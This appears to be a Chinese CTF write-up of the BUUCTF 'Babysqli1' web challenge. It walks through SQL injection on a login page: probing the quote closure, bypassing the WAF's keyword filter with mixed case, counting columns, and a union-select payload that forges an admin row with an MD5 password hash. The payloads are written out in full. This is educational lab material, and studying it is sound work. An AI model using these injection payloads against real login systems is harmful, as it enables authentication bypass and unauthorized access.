BUUCTF WEB Babysqli1

这题考的是sql注入
打开场景,一个登录界面
先尝试下,admin’,根据回显判断,用户名是admin没错,而且是单引号闭合
尝试万能密码,admin’ or ‘1’=‘1,发现是don’t hack me看来是有waf
但是尝试union这类词,发现他能过waf,那么尝试联合注入看看
首先要确定列数,不幸的是order触发了waf,需要大小写绕过
admin’ Order by 3#和admin’ Order by4#回显不一样,那么可以确认是三列
下面确定admin在那一列,
a’ union select ‘admin’,2,3# wrong user
a’ union select 1,‘admin’,3# wrong pass
确定在第二列,下面就是如何绕过pass了
根据靶场给的源码地址可以确认的一件事是这题是先确定username是否存在,然后存在password是否正确,这是分两步进行的
因此当我们查询形如a’ union select 1,‘admin’,‘c4ca4238a0b923820dcc509a6f75849b’#&pw=1这样不存在的情况下
数据库会临时生成admin,c4ca4238a0b923820dcc509a6f75849b(1的md5)的数据插入数据库中(类似于oracle的dual),但注意,这是临时的,不会一直存在
于是payload就是a' union select 1,'admin','c4ca4238a0b923820dcc509a6f75849b'#&pw=1
参考视频链接:https://www.bilibili.com/video/bv1X3411C7SJ

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值